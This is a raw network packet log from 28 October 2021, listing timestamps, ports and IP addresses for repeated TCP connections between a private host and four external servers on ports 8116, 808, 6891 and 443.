Oct 28, 2021 05:04:09.095344067 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.148534060 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.148905993 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.187397957 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.188560009 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.188648939 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.189335108 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.189344883 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.195667028 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.195678949 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.195920944 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.195938110 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.336967945 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.336999893 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.337166071 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.340104103 CEST	49787	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:09.393205881 CEST	8116	49787	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:09.458997011 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.459072113 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.459173918 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.459804058 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.459820032 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.909161091 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.909238100 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.909264088 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.909291029 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.916670084 CEST	49786	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.916696072 CEST	443	49786	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.953216076 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.953413010 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.953963041 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.953977108 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.959295988 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.959328890 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:09.959398031 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:09.959412098 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:10.070199013 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.232383013 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.232490063 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.233283997 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.395070076 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.395306110 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.395411015 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.395934105 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.401276112 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.401392937 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.557765007 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.563163042 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.563195944 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.563211918 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.563226938 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.563242912 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.650229931 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:10.650326014 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:10.650371075 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:10.650423050 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:10.650433064 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:10.650480032 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:10.653590918 CEST	49788	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:10.653616905 CEST	443	49788	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:10.775362968 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.945502043 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.945693970 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.946414948 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.958095074 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.958112001 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:10.958246946 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:10.966404915 CEST	49789	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.089302063 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.116487026 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.116554022 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.116749048 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.117795944 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.126033068 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.126214981 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.128170013 CEST	808	49789	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.255703926 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.255934000 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.256676912 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.287878036 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.296140909 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.296231985 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.296242952 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.296263933 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.296276093 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.423511028 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.423532009 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.423800945 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.424241066 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.429850101 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.429956913 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.596227884 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.596252918 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.682651997 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.682684898 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.682902098 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.685887098 CEST	49790	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:11.856199980 CEST	808	49790	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:11.856374025 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.984824896 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.984858036 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:11.985009909 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:11.993918896 CEST	49791	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.023952961 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.024589062 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.025351048 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.117033958 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.160295010 CEST	6891	49791	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.170475960 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.170650005 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.171334982 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.190732956 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.190753937 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.190887928 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.191862106 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.201356888 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.201698065 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.224577904 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.224792004 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.224905014 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.225594997 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.230804920 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.230906963 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.284229994 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.284306049 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.366897106 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.366995096 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.367120028 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.472723961 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.472750902 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.472927094 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.479851007 CEST	49793	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.533246994 CEST	8116	49793	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.601140022 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:12.601192951 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:12.601280928 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:12.601941109 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:12.601963997 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:12.759474039 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.759497881 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.759675980 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.762883902 CEST	49792	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:12.881546021 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.928467989 CEST	6891	49792	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:12.934973001 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.935081959 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.935784101 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.988784075 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.989280939 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:12.989377975 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.989938974 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.995471001 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:12.995541096 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:13.048399925 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:13.048563957 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:13.121615887 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.121682882 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.122565985 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.122584105 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.138753891 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.138787985 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.138906002 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.138919115 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.222948074 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:13.222973108 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:13.223107100 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:13.226212978 CEST	49795	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:13.280432940 CEST	8116	49795	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:13.369978905 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.370013952 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.370115995 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.370714903 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.370727062 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.847912073 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.848031044 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.848052979 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.848114967 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.856199026 CEST	49794	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.856235981 CEST	443	49794	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.895241022 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.895425081 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.896245003 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.896255970 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.902007103 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.902017117 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:13.902134895 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:13.902144909 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:14.008621931 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.180506945 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.180614948 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.181374073 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.351636887 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.351753950 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.351860046 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.352401018 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.357137918 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.357240915 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.522763014 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.527462006 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.527489901 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.527510881 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.527527094 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.617482901 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:14.617543936 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:14.617693901 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:14.620965958 CEST	49796	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:14.620994091 CEST	443	49796	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:14.746234894 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.911098957 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.911283970 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.912010908 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.918472052 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.918498039 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:14.918657064 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:14.925929070 CEST	49797	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.076651096 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.076843977 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.076992035 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.077632904 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.083796978 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.083904028 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.087004900 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.096250057 CEST	808	49797	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.242342949 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.248543978 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.248567104 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.248574018 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.248580933 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.253365040 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.253691912 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.254615068 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.420917988 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.420950890 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.421339035 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.421936035 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.427607059 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.427720070 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.593993902 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.594019890 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.630798101 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.630829096 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.630837917 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.631083965 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.634417057 CEST	49798	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:15.788729906 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.799051046 CEST	808	49798	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:15.954085112 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.954315901 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.955157995 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:15.994965076 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.994986057 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:15.995179892 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.002053976 CEST	49799	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.116859913 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.120635986 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.120747089 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.120893955 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.121449947 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.126718044 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.126840115 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.166121006 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.166229010 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.167196989 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.168863058 CEST	6891	49799	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.216260910 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.216516018 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.216613054 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.217171907 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.222640991 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.222780943 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.271873951 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.272344112 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.292289019 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.292320013 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.292519093 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.310617924 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.460098982 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.460124969 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.460278034 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.460306883 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.466494083 CEST	49801	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.515357971 CEST	8116	49801	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.586096048 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:16.586162090 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:16.586275101 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:16.586977959 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:16.586997032 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:16.678949118 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.678967953 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.679148912 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.683592081 CEST	49800	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:16.839761019 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.848975897 CEST	6891	49800	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:16.899092913 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.899210930 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.899945021 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.958950043 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.959307909 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:16.959405899 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.959954977 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.963505030 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:16.963597059 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:17.022629023 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:17.023367882 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:17.109621048 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.110076904 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.110590935 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.110599041 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.118133068 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.118292093 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.118463039 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.118604898 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.212436914 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:17.212472916 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:17.212646961 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:17.214905024 CEST	49803	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:17.275125980 CEST	8116	49803	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:17.338931084 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.338984966 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.339106083 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.339819908 CEST	49804	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.339848042 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.836201906 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.836333036 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.836419106 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.836445093 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.844870090 CEST	49802	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:17.844909906 CEST	443	49802	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.858346939 CEST	443	49804	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:17.858479977 CEST	49804	443	192.168.2.3	192.46.210.220
